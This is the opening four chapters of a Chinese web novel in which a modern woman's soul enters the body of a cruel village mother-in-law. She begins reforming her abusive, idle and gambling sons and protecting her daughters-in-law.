《恶婆婆改正后开饭馆暴富》 第1章 第 1 章 五月盛夏,赶上农忙时,面朝黄土背朝天的农户一天到晚忙作不息,唯有午时吃饭的间隙在田间地头歇上一歇。 跟地里的庄稼相处久了,苦乏难当,人总会生出些扯闲解闷的心思。 这不,吃饱了饭,相邻的两块地里的人就你一言我一语地唠了起来:“我今儿没怎么睡好,那老李家的一大早就在闹,原是他家大儿媳妇睡过头,她婆子一觉起来看着冷锅冷灶的就骂了起来……” “她昨日夜里跟我一块赶工做帕子熬到三更,晚起一会儿也是人之常情,估摸分辨了几句,她那丈夫便觉得她不孝,动手打起来,她嚎的跟什么似的。我晌午从老李家地头经过,看见老李家儿媳妇脸肿了老高,还卖力插秧干活呢。” 另一个胖妇人“啧”了一声,简直听都听不下去:“都是爹生娘养的,咋这么对人家女儿,摊上这么的婆子丈夫,真是造孽呦!” 起话的妇人四下张望一番,压低了声音,“他老李家有点说法,恐怕就是老的不慈,上天都看不下去,才叫他们家断子绝孙。” 胖妇人听着这话来了劲儿,“就是,前些年那秦氏一连生了四个儿子,眼睛恨不得长到天上去,如今四个儿子三个都娶了媳妇,好几年了,几个媳妇肚子里愣是没一点动静,还不是她心里太恶,老天都不让他们后继有人!” “行了,拉扯闲话起来没完了。”这时胖妇人的丈夫走过来,没好气道:“眼看这天儿一会要落雨了,将活干完早些回家吧。” 胖妇人意犹未尽地站起身,拍了拍屁股上的土,“才说几句话又催,原当你是个疼媳妇的,怎么也把我当老黄牛使。” “我把你当老黄牛使?你看看人老李家的几个儿媳妇多能干?娶媳妇都不用买牛了。”胖女人的丈夫与她叫嚷起来。 “能干?不能生崽,你要吗?你要吗?!” 胖女人的丈夫被问的噤了声,半晌嘟嘟囔囔地说了一句:“也是,我看她那几个媳妇是累坏身子了,各个不生养,能干有啥用。” 起闲话的妇人见自己的唠嗑对象没了,也不情不愿地起来去耕种了。 过了一会儿,天上雷声滚滚,眼看就是要下雨了。田里忙作的人纷纷往家赶,妇人也不例外,她扛起锄头踏上回家路。 走到老李家地旁小道的时候,她打眼瞧见老李家大儿媳妇还在干活,也不知午饭吃没吃过,总之看着精气萎靡虚弱无力的样子,再加上脸上有伤,模样看起来更凄惨了。 而她婆婆秦氏坐在田埂上,正捶腿休息,两只眼睛像鹰一样直勾勾地盯着大儿媳妇。 这哪是人家的婆婆,分明是劳役的监工,把人当牛使!妇人这么想着,忍不住出声道:“哎,她秦婶子,要下雨了,人都往家去呢,你咋还不和你儿媳妇回?” 秦氏这才将目光从大儿媳妇身上移开,不耐烦地看向妇人,硬巴巴地说:“关你什么事,都像你林家的一样躲懒偷闲,今年冬天的存粮咋办?” 林家的妇人瘪瘪嘴:“那也不差这会儿,淋了雨生了病,还不是耽搁地里的活?” “庄家人哪有那么矫情,动不动生病的,我那会儿在田里生完孩子还能起来犁二亩地,动辄生病就是活干少了。活干的越多,人越精壮,越不容易病呢。” 林家的见跟秦氏说不通,索性不说了,只说了一句:“早点回吧,一会下大了,路不好走,当心摔坑里。” “不劳你操心!”秦氏闷闷地回了一句。 人陆陆续续地回家了,秦氏依旧坐在田埂上,直勾勾地看着大儿媳妇干活。 她就是要给大儿媳妇个教训,叫大儿媳妇知道好歹,不敢再跟自己顶嘴。 随着雷声,天渐渐阴沉沉的一片,不可视物,秦氏心里也直嘟囔,她是想惩罚大儿媳妇没错,但没想自己吃苦。她年纪大了,淋一场雨可不好受。 她于是站起来,假装大度,叫大儿媳妇跟自己回家。 大儿媳妇松了一口气,将农具全都收拢在一处,然后小心翼翼地跟在秦氏身后。她被秦氏打怕了,秦氏让她干什么就干什么,也不敢多说。 谁知婆媳二人刚前后脚地离开田里,豆大的雨点就噼里啪啦地往两个人身上砸,除了雨点还有一些不大的冰雹,砸在身上怪疼的。 秦氏只得加快步伐往回家的小道上跑,她没怎么干活,又没带农具,自然跑的比大儿媳妇快。 大儿媳妇左边锄头,右边是一筐稻苗,走的一瘸一拐的,很快就和婆婆秦氏拉开了距离,只能在身后叫婆婆慢点。 秦氏才不管她,只想着自己少淋点雨,她用手撑在头顶,躲避着地上积起来的水洼,时不时还回头看大儿媳妇一眼。 谁想就在这次回头看大儿媳妇时,她突然一脚踩进了浑浊的水洼中,水洼里恰有个不明的圆形物件,就这么一脚滑,她不受控制地栽倒向后。 “砰!”的一声,秦氏的头砸在了身后路边的石头上。她感觉巨痛一来,想伸手摸向自己的受伤之处,却发现胳膊像绑了千斤重担一样难以抬起。 “救......救我......”她眼前一黑,彻底昏死过去。 姗姗来迟的大儿媳妇精疲力尽地走过来时,就已经看见秦氏倒在血泊中。她看见此情此景,却没有多少震惊,而是不可控制地露出了笑意。 她走上前去探了探秦氏的呼吸,发现对方已经断气,脱力地瘫坐在地。然而此刻她并不是在害怕,而是解脱。 这些年来,秦氏仗着她父母人老体弱不能为她做主,日夜欺凌消磨她,如今秦氏死了,她终于能解脱了。 大雨滂沱,瘦小的女人将秦氏扛了起来背在肩膀上。 秦氏死了,她将尸体带回去才算有个交代。 一路上,大儿媳妇喜不自胜,连身体都突然有了力气,就这么将秦氏带回了家,刚到院子里,她便佯装焦急地跑了两步,一边冲进东屋,一边朝着大家喊:“快来人!婆婆摔倒了!” 自打李老头死之后,家里就是秦氏说了算,眼下听着秦氏摔倒,大家都或喜或忧地聚在了东屋。 大儿媳妇抽泣着道:“我在后面跟着,婆婆为了躲雨跑的急了一些,我没跟上,等再看到婆婆的时候,她就已经倒在地上了,我看见她脑袋出了好多的血。” 大儿子李闻生看见老娘摔成这样,头上的血甚至把褥子浸红了,顿时火起,揪过媳妇胡氏就要动手:“我不是叫你照顾好娘吗?娘怎么会这样!” “好了。”二儿子李金生出声制止,“娘都这样了,你还有心思打人,赶快去叫大夫来啊!” “对对!”李闻生这才松了手,“大夫!大夫!” 他看向胡氏:“你去请大夫来!” “我......”胡氏忙作一天,又背着个人跑回来,早就上气不接下气了,李闻生还使唤她去叫大夫,她虽不敢不愿意,但确实没体力。 “我去吧。”二儿媳妇陈氏娘家富裕,在李家能说得上话。对于胡氏这个老实可怜的嫂子,她一向同情,她看出胡氏疲惫,便主动解围,“大嫂忙一天了,跑不动,怕耽误娘的病,我去就是了!” 她这么说了,李家其他人也没有意见,就由着她去叫大夫了。 陈氏一走,其他人盯着床上的秦氏像是热锅上的蚂蚁。李家四个儿子一寸不移地守着秦氏,不时叫胡氏和三儿媳妇赵氏给秦氏止血、送水、盖被子,显得孝顺得不得了。 好不容易等到大夫过来,那大夫就是直接先探了探脉搏,又摸了摸额头,就直接给秦氏判了死刑:“不行了,不行了,人不中用了,办后事吧!” “啥?大夫你再看看呢!”秦氏最疼的小儿子李玉生焦急地扯住了大夫衣角。 平时秦氏疼他这个幺子,什么好的都给他,现在人没了,他又是家里最小的,以后日子定没有如今这么好了,所以李玉生最是惶恐。 李家其他儿子也纷纷揪着大夫问还能不能救,毕竟秦氏虽然恶毒,但倒是真心实意为儿子们打算的。而三个儿媳妇就显得很理智,除了假模假样地抹几滴眼泪就没有其他动作。 大夫被纠缠烦了,就厉声说了一句:“人死不能复生,我就不收你们钱了!保重!” 说罢,就挥开别人的手大步往外走。 谁想人还没出门,床上的秦氏突然手指动了动,紧接着闷哼一声,“嗖”地一下坐起了身。 “娘!!”众人异口同声。 大夫回过身去差点没吓断气,明明方才秦氏气息体温全无,这会儿却水灵灵地坐了起来,甚至面色在一瞬间恢复了血色。 “回...回光返照。”大夫磕磕巴巴地说。 李家的人也没想过秦氏会诈尸,顺着大夫说的话听了下去,都觉得秦氏是回光返照了。 李玉生扑在秦氏跟前儿,痛哭流涕地说:“娘!你有啥心愿未了的就跟儿子说吧!娘!儿子不能给你尽孝了,你的后事一定给你风光大办!” 而此时的秦嘉言正满脑子问号,后脑处如蚂蚁啃咬一般隐隐作痛,脑子里面还充斥着一些多出来的东西。 她茫茫然然地反应了好一会儿,才意识到她魂穿了,而且穿成了一个十里八乡的恶婆婆。 记忆中,大儿子家暴大儿媳妇,她摇旗助威。二儿子吃软饭花媳妇嫁妆,她跟着享用。三儿子媳妇刚过门,她怕三儿媳妇像前两个一样不生育,给她灌偏方,害她身体孱弱。 由于恶婆婆的名声远播,四儿子到了十八岁,根本议不着亲。她这些日子还撺掇着四儿子毁人名节,先生米煮成熟饭。 想起原身干的这些糊涂事,她一巴掌拍在额头上。 穿成谁不好,怎么穿成了这么个人。 “娘!娘你怎么了!你别不说话啊!”李玉生晃着秦嘉言,鼻涕眼泪一大把。 秦嘉言放下手,她睁开眼睛,目光扫过三个苦巴巴的儿媳妇,再看向几个各有各的渣法的儿子,直接给了自己一巴掌。 虽然她很想给几个儿子几巴掌,但上梁不正下梁歪。她这个娘也没好到哪里去! 脸上的痛感传来,秦嘉言“哎呦”了一声。 原来魂穿后,痛感是跟灵魂互鸣的。 她自是不能自己打自己了,正好看着眼前又哭又嚎的小儿子心烦,所以直接一巴掌打了上去:“逆子!” 第2章 第 2 章 李玉生被这一巴掌打迷糊了,他自觉自己没做错什么,惶惶然地抬眼看向秦嘉言,“娘,我做错什么了?你从来没打过我!” 秦嘉言这个母胎单身三十余年的人突然被人叫娘还有点不适应,但事已至此,为了不让人觉得她鬼上身,还是要把这个婆婆的角色扮演下去。 “我还没死呢,你嚎什么丧!巴不得我死吗?”秦嘉言找好了理由,随即又给了李玉生一巴掌。 清脆的巴掌声再次响起,众人都愣了神。秦氏可是从来都不会对李玉生动手的,顶多打打老大老二。 关键这一巴掌孔武有力,直接将李玉生的脸颊扇起一寸高,简直比胡氏的脸还肿几分,哪里像是将死之人有的气力。 方才嚷着要走的大夫见状都过来将秦嘉言的脉搏重新探了探,随后惊讶地说:“奇了,秦娘子的脉搏跟常人无异,甚至更明朗一些。” “你这大夫,方才不是说我娘要死了吗?你这庸医诅咒我娘?看我不将你打个好歹!”李闻生说时就要撸起袖子打人。 秦嘉言知道此事不关大夫,是她突然穿过来占了秦氏的身体,才让这副身体恢复如初。 她忙出声制止,对李闻生说:“住手!你,请大夫为我开药疗愈,然后去送送大夫。” “他这庸医!”李闻生还要与大夫叫嚷,看见秦氏一记眼刀甩过来,顿时不敢再轻易动怒,老实地让大夫开了方子,并将大夫送走。 之后,李家一家人都簇在秦嘉言的床边,几个儿子一会儿叫大儿媳妇送水,一会儿叫二儿媳妇抓药,一会儿叫三儿媳妇做饭,俨然都是大孝子。 秦嘉言实在看不下去李家几个孝顺外包的这么理直气壮,直接责骂道:“感情我辛辛苦苦把你们养大,连你们倒的半杯水都喝不着?一个个在跟前给我装孝顺!实际活全是儿媳妇干的!我今天要是真死了,是不是连你们床前尽孝都没享受过!” 她这话一出,所有人都震惊了,尤其是几个儿媳妇。要知道以前秦氏可是一点都舍不得儿子们干活,反倒是把儿媳妇当畜生用的,这会竟然心疼起儿媳妇了? 不过,经历一次生死关人的脾性是会变一点,其他人都没太往深处想。 李玉生挨打没挨够,他不知道秦氏的身体里已经换了灵魂,照常用以前的嘴甜口吻对秦氏哄道:“娘!嫂嫂们孝顺不就是我们孝顺吗?哥哥们不孝顺怎么会娶贤惠媳妇回来孝顺你啊!” 秦嘉言差点被李玉生的谬论气笑了,“娶个媳妇回来孝顺娘”具象化了。 她笑呵呵地看向李玉生,然后对着他那张嘴脸又呼了一巴掌上去。 这次打得是另外半边脸,两边大的均衡了。 众人瞠目结舌。 李玉生捂着受伤的双颊,泪水直在眼眶里打转,怀疑地叫了一声:“娘?” 秦嘉言看大家都处在震惊的状态,这时候最适合立规矩,她总结了一下语言,随后说道:“我方才过了一次鬼门关,是真的去阎罗殿里走了一趟,阎王对我说我生前有罪,所以阳寿未尽就被拉了下来。但如果我诚心改过,他就允许我重返人间。” 秦嘉言懒得将那些大道理,乡下不认识几个大字的人最敬鬼神,所以她就直接从鬼神入手编了一番解释。 几个儿子还想说一句:“娘,你怎么会有罪呢?” 但看李玉生的下场,他们也不敢假意谄媚。毕竟他们娘事实上什么样,他们心里都有数。十里八乡的恶妇,这个名号可不是胡吹的。 秦嘉言看着几个儿子:“以后不光我要赎罪,你们作为我的后代也要替我赎罪,争取让我获得阎王爷的宽慰,多挣几年阳寿。” “娘,我们怎么赎罪啊?”三儿子李水生不解,大哥打人,二哥贪财,他好像也没做错什么吧?顶多就是......不作为? “总而言之。”秦嘉言郑重其事地说:“以后,凡是我李家的儿媳,必须以待客之道相待,凡是我李家的子孙,必须艰苦能干,脚踏实地。” “媳妇就是半个牛,都嫁过来了,还拿客人相待,娘你这想法我不敢苟同。”李闻生瞪了一眼胡氏。 胡氏立刻会意,对秦嘉言温婉怯懦地说道:“是啊,娘。媳妇孝敬婆母,伺候丈夫本就是应该的,做的不好婆母教导打骂一番也是常理,全天下都是这样,要是阎王爷因为这个就夺娘阳寿,那他就太不讲道理了。” 秦嘉言叹了口气,看来古代支教道阻且长啊...... 秦嘉言又在床上将养了几日,受的脑伤方才养好了一些。养伤期间,她的儿子自是指望不上了,全程都是几个儿媳妇在跟前忙前忙后。 尤其是胡氏在秦嘉言面前更是小心翼翼,毕竟,秦嘉言是因为带着她去地里劳作受得伤,胡氏害怕秦嘉言秋后算账,想法子折磨她。 “娘,您喝药。” 这一天,胡氏照常到秦嘉言床边端来了汤药,她小心翼翼地笑道:“大夫说了,这已经是最后一幅药了,等您喝完身体就能痊愈。” 秦嘉言端过药喝了一口,那药汁是胡氏刚刚熬得,难免烫了些,一入口,秦嘉言便皱起了眉头。 “娘……” 见状,胡氏吓得够呛,秦嘉言尚未说什么,她已经率先抬起手挡住了脸,似乎是害怕秦嘉言给她一巴掌、或是直接将药泼到她脸上。 “儿媳错了,不该给你端这么烫的药。” 眼看着胡氏吓得六神无主,秦嘉言缓和了语气安慰道:“无妨。” “先前大夫说了,良药要趁热喝才有药效,你也不是故意的……” 闻言,胡氏不可置信地瞪大了眼,险些怀疑自己听错了。这恶婆婆去鬼门关里走了一遭,性情当真变了,这段时间胡氏负责照顾秦嘉言,竟没有被责骂过一句,真是太阳打西边出来了。 面对性情大变的秦嘉言,胡氏不知该怎么应对,只得尴尬地笑了笑。 “老大呢?他人在哪儿?”喝完了药,秦嘉言开始打听李闻生最近的动向。 胡氏老实道:“相公在屋里睡觉呢。” 秦嘉言冷哼一声:“他倒是会享清福,不知的,还以为受伤养病的人是他。” 以往李闻生在家里也是什么都不做,然而,秦嘉言从未有过责骂,胡氏已经习以为常了。 “相公昨夜通宵看书,自然累了,多休息一会儿也是应该的。”胡氏甚至还好心的帮着李闻生说话。 提及此事,秦嘉言更是来气。 原身的大儿子不思进取,整日只会跟着一群不学无术的损友吟诗弄月,看似满腹经纶,实则读书多年连秀才都没中一个,唯一强些的地方就是比普通庄稼人多识两个字。 偏偏李闻生还整日宣扬自己有才华、有抱负,家里的农活一点不沾手,用读书当作借口光明正大的偷懒,所有脏活累活全都压在了胡氏的肩头。 “看书?他看得那门子书?不过是一些不入流的荒诞话本。”秦嘉言怒骂道:“他这副模样,这辈子都别想中举了,还看什么书?打今儿起,你在家休息,他去地里干农活,正好现在是农忙的季节,家里差人手,他清闲了这么多年,也该为家里做一份贡献,为你分担分担了。” 胡氏不可置信道:“娘……您刚刚说什么?您说让相公去地里做农活?!” 秦嘉言对她生得四个儿子可谓疼爱至极,别说让他们干农活了,便是一般得脏活累活也都没有碰过,怎么突然改变了态度?! 秦嘉言点头道:“此事就这么定了,你只管告诉他,便说是我的主意。” 胡氏张了张口,想说李闻生恐怕不会愿意,但见秦嘉言心意已决的模样,又不敢多劝,只得一步三回头的走了。 次日,胡氏按照秦嘉言的叮嘱,推醒了睡得正香的李闻生。 李闻生骂骂咧咧地苏醒,尚未反应,胡氏便颤颤巍巍地嘱咐他去地里干农活。 “贱妇,反天了你!居然还敢使唤起老子来了!” 李闻生恶狠狠地甩了胡氏一巴掌,胡氏挨了打,害怕地捂住脸解释道:“相公,你别生气……此事是娘的主意。” “你还敢胡说八道?!”李闻生追着胡氏狠打,两人一前一后地跑出了房间。 “娘这么心疼我,怎么可能使唤我干农活?分明是你这贱妇想要偷懒!” 这边闹得沸沸扬扬,自然惊动了其他人,老二媳妇陈氏想要去劝,却被李金生拦住了。 “大哥自家的家务事,我们还是别插手了。” 李闻生喜欢动手打人已经不是一天两天的事了,李家众人早就习以为常,反正打不死人,便由着李闻生闹…… “贱妇,还敢拿娘当借口,老子今天打死你!”李闻生追着胡氏到了前院,不知从哪儿摸出一把扫帚,正想敲打胡氏,下一刻,他突然发现手中的扫帚动不了了。 李闻生微微蹙眉,下意识动了动,却被一股比他更有劲的力道拉着往后退了两步。 “大清早闹什么?” 李闻生一回头,便见秦嘉言站在身后,连忙松了手道:“娘,您怎么出来了?” “大夫说,您身子还未养好,吹不得风,不宜出门走动啊。” 秦嘉言冷笑一声道:“我若不来,你岂不是将人活活打死了?” “……” 李闻生无言以对,众人面面相窥,纷纷想不通秦嘉言突然唱哪出?这老大打媳妇儿都已经打这么多年了,以前也没见过秦嘉言出面阻止啊。 “娘,这贱妇满口谎言,想要偷懒,竟打着您的名头诓我去地里干农活……” 李闻生的话尚未说完,已经被秦嘉言打断了,“此事确实是我的主意。” “……娘,我没听错吧?您怎么能让我去干农活呢。”李闻生不可置信地瞪大眼。 “你堂堂一个男子汉,为何不能劳作?天天游手好闲,不思进取,家里的重担全压在了自家媳妇身上,成何体统。”秦嘉言指责道。 闻言,李闻生立刻拿出了以前经常忽悠原身的说辞。 “娘,我可是家里唯一的读书人,心思当然要放在正道上,怎么能做这种小事。” 然而,这一次,秦嘉言明显不会买账了。 第3章 第 3 章 秦嘉言直接戳穿了李闻生的借口,一点脸面都没有留给李闻生。 “这些年,你打着读书的借口花天酒地,却没有挣过一分钱,家里大小开支都没有操过心便罢了,却没有博回来一个好功名。” 秦嘉言冷冷道:“既然你不是读书的料,从今天开始,你便老老实实去地里做农活,分担家里的农务。” 秦嘉言的话一说出口,其余李家人都听愣了,老二不可置信,老三和老四则是幸灾乐祸,反正他们背地里早就看不惯老大好吃懒做得行为了,偏偏秦嘉言这么多年一直宠着李闻生,谁都不敢多说什么。 “娘!我可是您的亲儿子啊!您怎么能这么对我呢?”李闻生欲哭无泪,一时之间只当是胡氏从中作梗,秦嘉言才会突然性情大变。 “贱妇!是不是你在我娘面前胡说八道了?!” 说罢,李闻生竟又想动手打胡氏。这一次,秦嘉言眼疾手快地拉住了李闻生,并且抬腿就给了李闻生一脚,直接将他踹倒在地面爬都爬不起来。 “娘……您居然为了她打我……” 原身虽然上了年纪,却是实打实的有力气的农妇,家里几个儿子都不是她的对手,李闻生被踹得痛得直不起腰,只能眼巴巴地看着秦嘉言。 秦嘉言挡在胡氏面前,一幅保护着胡氏的模样,她冷冷道:“以前你胡作非为我不管,从今以后,在我们李家绝对不准出现打女人的行为。” 李闻生不解道:“娘,她是我媳妇儿,我教训她是天经地义……” “照这么说,我还是你娘呢。我说的话你听是不听?”秦嘉言淡淡道:“若是不愿意听我的话,即可收拾了你的东西,滚出李家,我就当没生过你这个儿子。” 这话一出,李家众人全都被震慑住了。当今孝乃国策,若是对父母不敬者被逐出家门,那可是要被人指着鼻子骂的啊。 眼看着秦嘉言动了怒,李闻生连忙服软道:“娘,我错了。方才都是儿子的不是……” 李闻生压着火气看了一眼秦嘉言身后的胡氏,奈何胡氏现在有秦嘉言护着,他并不敢再做什么,只得愤然道:“儿子以后必不会再动手打媳妇了。” 李闻生嘴上做着保证,心里却不屑一顾,他不相信李嘉言真的转了性,从此会一直护着胡氏,等他逮到机会,再狠狠地收拾胡氏一顿。 秦嘉言知道李闻生心里不服气,不过,想要改变李家众人的想法与儿媳们的地位,并非一朝一夕能够办成的事,只能慢慢来了。 秦嘉言扔给了李闻生一把锄头,又嘱咐李闻生去地里干农活,李闻生虽不情愿,却不敢再争辩,只得一步三回头地走了。 待李闻生离家之后,秦家言打发走了众人,又将胡氏拉到一旁说话。 “多谢娘护着儿媳……”这时,胡氏总算反应过来了,只是她仍旧想不通为何秦嘉言会突然性情大变,难不成,秦嘉言真的想积德行善了?! “刚刚他可有伤了你?”秦嘉言关切道。 胡氏摇了摇头,眼神闪躲,明显不愿意多说。 见此,秦嘉言握着她的手腕将袖口往上提了提,只见原本雪白的手臂上布满了一些陈年的伤痕,明显是李闻生做得好事。 见此,秦嘉言简直气不打一出来。这原身与她大儿子蛇鼠一窝,专门欺负小姑娘,简直不是什么好东西。 秦嘉言从屋里拿出一瓶金创药,递到胡氏手里道:“这药你先拿回去,涂一涂身上受伤的地方,倘若以后他再敢动手打人,你只管告诉我,不必害怕,我定然会为你做主。” 胡氏捏着药,懵懂地点了点头。 “那家里的农活……” “家里的农活不必你操心了。我自会带着他们一起下地。这么多年,你在李家幸苦了,刚好趁着这一段时间好好休息。” 听完秦嘉言的话,胡氏的表情已经难以用震惊形容了。秦嘉言可是十里八乡出了名的恶婆婆,舍不得自家儿子做一点重活儿,如今她居然主动提出带着自家儿子干农活,让儿媳妇好好休息。 秦嘉言是不是摔坏了脑子? 胡氏满腹疑问,却不敢多说。她怕自己说得太多,秦嘉言脑子一下清醒过来,又要欺负她了。 “谢谢娘。” 最终,胡氏捏着秦嘉言给的药膏,心事重重地离开了。 接下来几天,秦嘉言果然如承诺一般带着家里的几个儿子,亲自下到地里干农活。 老大自是不用说了,已经被秦嘉言打老实了,老二和老三敢怒不敢言,原身最宠爱的老四则是止不住抱怨。 “娘,怎么连我也要去地里干活啊……”李玉生不满地嘟着嘴。他长这么大一直被原身捧在手心里养,哪儿受过半点苦。 “怎么?你不是家里的一份子吗?”秦嘉言在前面挖土,头也不回,根本不理会小儿子的抱怨。 “这些事,往常都是嫂嫂们做的,现下您带着哥哥来种地就算了,怎么还带上了我……”李玉生小声抱怨,手里的锄头也挥得绵软无力,半天都没有挖完一块土。 秦嘉言根本不理他。 眼看着快要到午后了,太阳越来越**,秦嘉言走到了树下休息,指挥着几个儿子继续干活。 秦嘉言在树下舒舒服服地乘凉喝水,几个儿子在地里被晒得眼睛都睁不开,但他们并不敢违背秦嘉言的话,唯恐被扣上不孝的罪名。 “你们说娘这是怎么了?受了什么刺激,怎么突然这么对我们?”李金生忍不住抱怨。 “以前娘可是从来舍不得我们下地干重活儿,现在这样,倒像是换了一个人。” 李闻生冷笑一声道:“谁知道呢。说不准娘是摔坏了脑子。” “这话可不能乱说!”李玉生不满道:“还不是大哥做得混账事惹娘生气了,连累我们也跟着下地干活……” “好了好了,大家都别吵了。老四说得有道理,娘说不定只是赌一时之气,等过了这阵子又好了。”老三李水生站出来打圆场。 闻言,众人又默默挥动起锄头,期盼着秦嘉言早日恢复“正常”。 到了午后,村里陆陆续续有一些干完农活的农户往家里赶,他们看到秦嘉言在树下休息,地里还站着李家的几个儿子,顿时不可置信地瞪大了眼。 “哎哟,今日真是太阳打西边出来了?李家的儿子居然出来干农活了?!” “这是闹得哪出?难不成李家的儿媳妇都回娘家了?” 村里每家每户都知道,秦嘉言宝贝自己的儿子宝贝得像金疙瘩一样,怎么舍得儿子出来干重活。反倒是儿媳妇,只要进了李家那就成了累不死的牲口,不管什么脏活累活都指着儿媳妇干,动不动还要打骂儿媳妇。 “秦氏该不会脑子摔坏了,转了性子?” “谁知道呢?说不准是她横行霸道惯了,耽误了小儿子娶媳妇,这才做做样子。” 众人都觉得秦嘉言做样子的可能性更大,毕竟,秦嘉言可是远近闻名的恶婆婆,她家小儿子讨不到媳妇儿的事,人尽皆知。 眼看着几个婶子在不远处讨论得来劲儿,秦嘉言终于忍不住了,重重地咳嗽了一声。 约莫因为秦嘉言泼辣的形象太过深入人心了,几个婶子当场被秦嘉言吓住,纷纷转头回家去了。 秦嘉言倒没太放在心上,她知道原身的行事作风确实太过份,免不了要被嚼舌根。不过,秦嘉言日后自会用行动好好管求自己的几个儿子,重振李家的家风。 …… 如此忙碌了小半个月之后,地里的活终于都做完了。炎炎烈日之下,秦嘉言的儿子们都已经晒掉了一层皮,原本细皮嫩肉的小儿子更是黑了一大圈儿。 众人叫苦连连,这时,他们方才意识到自家媳妇儿以前做农活有多幸苦,自己过得有多么潇洒自在。 这一次农忙全程都是秦嘉言与儿子们干活,儿媳妇们倒是闲下了下来,颇为不习惯。秦嘉言却丝毫没有指责儿媳妇们偷懒的意思,反而嘱咐儿媳妇们应该好好休息,养好身体。 三个儿媳妇皆是受宠若惊。 风平浪静的日子又过了几日,这一天深夜,陈氏正在屋里睡着,突然听到房间里传来响动,还隐隐约约有烛光投进里屋。 陈氏第一反应是家里进了贼。她垫手垫脚地起了床,推门而出,正想大喊一声“抓贼”,便被捂住了嘴。 “别喊,是我!” 陈氏眨了眨眼,这才发现面前站着的是李金生。 “相公,这么晚了……你在这儿做什么?”陈氏一低头,只见李金生手里拿着一个首饰盒,内里装着得正是她的嫁妆。 “李金生!你这个畜生!你居然又偷拿我的嫁妆……” 陈氏家境富裕,嫁过来时,娘家心疼女儿,给了陈氏不少嫁妆。然而,李金生是一个实打实得败家子,婚前他就染上了赌瘾,婚后原形毕露,常常偷陈氏的嫁妆去典当作为赌资。 对此,原身秦氏也是睁一只眼闭一只眼,根本不管自己儿子,偶尔还享受着李金生用陈氏的嫁妆来孝敬她。 “这些年你都偷偷卖掉了我多少嫁妆了,我就剩这么几件首饰了,你居然还要拿?!”陈氏怒不可遏,想抢回首饰盒,然而她的力气哪里比得过李金生? 李金生直接将陈氏推倒了。 第4章 第 4 章 秦嘉言听见了屋内的动静,赶紧穿上衣服,点起油灯,拿在手里,推门出去。刚一进屋,就看到二儿媳陈氏被推在地上。 陈氏的脚腕淤青一遍,她一边抹着眼泪一边收拾地上剩下零碎的首饰。她见秦嘉言进来并没有言语,她知道,即使说了婆婆也会向着自己的儿子,反过来说她的不是。 “你这是怎么了?李金生呢?” 秦嘉言赶紧上前扶起陈氏,将她小心翼翼的放在炕沿。 “你们这是怎么了?大半夜的不睡觉?在吵吵什么?是不是李金生那混蛋小子欺负你了?” 秦嘉言用手把陈氏的眼泪擦干,小声的安慰她。 陈氏觉得婆婆的确这阵子和从前都不一样了,要知道,这要是以前,早就开始指着她的鼻子破口大骂了。 她想了想,还是和秦嘉言说了实话。“婆婆,李金生他......他又偷拿我的嫁妆去小渔村赌博了。” “什么!”秦家言用手用力的拍了下炕,手指都振的发麻。 “这该死的东西,还敢赌博!走你带我去找他!看我不揍死这个混小子!”秦嘉言刚要拽起陈氏,就想起陈氏脚上的伤。 “算了,你还是好好在家待着吧,我找老大陪我去”。她一伸手,把陈氏按在炕上,盖好被子“你放心,我一定会好好教训这小子。他还敢动手?反了他了。” 秦嘉言走出老二屋子的时候,老大李闻生和胡氏的房间里已经亮起来灯。“娘,怎么了?” “老大,你跟我走一趟小渔村。跟我去把李金生那个死小子找回来。”秦嘉言冲着老大的房门喊道。 李闻生边穿衣服边往外走,“娘,这黑灯瞎火的你折腾什么啊?回头在把你摔喽,你回去吧,明天一早他就能回来。” “放屁,他肯定回来,不回来他能去哪,我就是要今天晚上就给他逮回来!”秦嘉言从门后拿了一个手腕粗的棍子,在手上颠了颠。 “你去不去,不去我自己去了。”秦嘉言看着老大,就想起他前几日打媳妇的样子,气不打一处来。 这几个儿子,真是一根藤上的歪瓜裂枣,没有一个好的!要想一个一个改造还真是困难,好想给他们都丢回娘胎里面重造! “等等我,娘。我跟您去。”老大还没有说话,胡氏已经从房间里出来了。只见她已经穿戴整齐,手中还拎着个小灯笼。 老大看着媳妇的样子,又看了看自己的老娘,还是进屋批了件衣服跟出来。老二啊,不是哥哥不救你,你自求多福吧! 通往小渔村的路白天还好走,到了夜晚,不只路上泥泞,远处的山里还不时的传来不明动物的叫声。 “这王八犊子!自己为了赌博还敢走这么远!真是为了玩命都不要了。”秦嘉言气的直犯晕。手中的粗木棍已经被李闻生接过去了。 “娘你慢点走,消消气,离路上的沟远点。”胡氏小声的劝慰着,她小心的拉住秦嘉言。毕竟前些时候,她婆婆在沟里摔断气的阴影还在她眼前不散。 “我没事,你不用担心。”秦嘉言拍了拍胡氏的手,她的手一片冰凉,她顺势就把胡氏的手揣在了自己的兜里取暖。 “我现在的身体可不像前几天了,好的很呢,看你吓的这手脚冰凉的呦。等会回去你熬上一大碗弄弄的姜汤喝下去。咱们女人可不能受了寒。” 胡氏感动的点点头,她的婆婆真的跟从前不一样了。不仅帮她教训了丈夫。还像亲女儿一样关心她。现在的日子真是一天比一天好过。 不到半个时辰,他们一行人就走到了小渔村。黑夜的小渔村非常安静,只能隐约的听到稻田里的蛙鸣。 秦嘉言一眼就看到了那个聚众赌博的屋子。整个小渔村,只有那个屋子还亮着灯光。 几个人走道门口就听到里面的嘈杂。 “开了,开了,买定离手!” “小!小!必定是小!” “三六幺!豹子开!呀同伴啦!” “艹!今儿这手气真背!肯定是出门的时候让婆娘拽的!”最后这一声,明显是李金生的声音。 秦嘉言二话不说,立刻踹开门走了进去。屋内油灯昏暗,里面的人玩的正在兴头上,没人发现她。 “砰!” 她接过老大手中的木棒用力的砸在李金生面前的桌子上。屋内瞬间停止了喧闹,所有人都看向她。 “娘,娘你怎么来了?”李金生不敢置信的揉了揉眼睛。他这才刚玩上一局,他老娘怎么就杀过来了。 “你个小兔崽子!”秦嘉言第二下没在砸向桌子,而是向李金生的身上挥去。“你还敢赌博?还敢头儿媳嫁妆!看老娘我今儿不打死你!” 那么粗的棒子打在李金生身上还是头一遭,以前他娘可是从来没有责罚过他哥四个的,这一棒子下去,他居然躲都没躲,直接全部砸在了后背上。 “哎呦!”李金生大叫起来。“娘,娘你真砸呀!” “放屁!我不真打你我还吓唬你么!今儿老娘不把你改造好!我就不姓秦!”秦嘉言把袖子挽起来,又要继续向李金生打过去。 “哎,哎娘,你在打他几下就把他打死了!”李闻生见不好,赶紧拉住了她的胳膊,同时给老二使了个眼色。 李金生收到哥哥的‘暗示’立刻打个滚到了桌子的另一边。 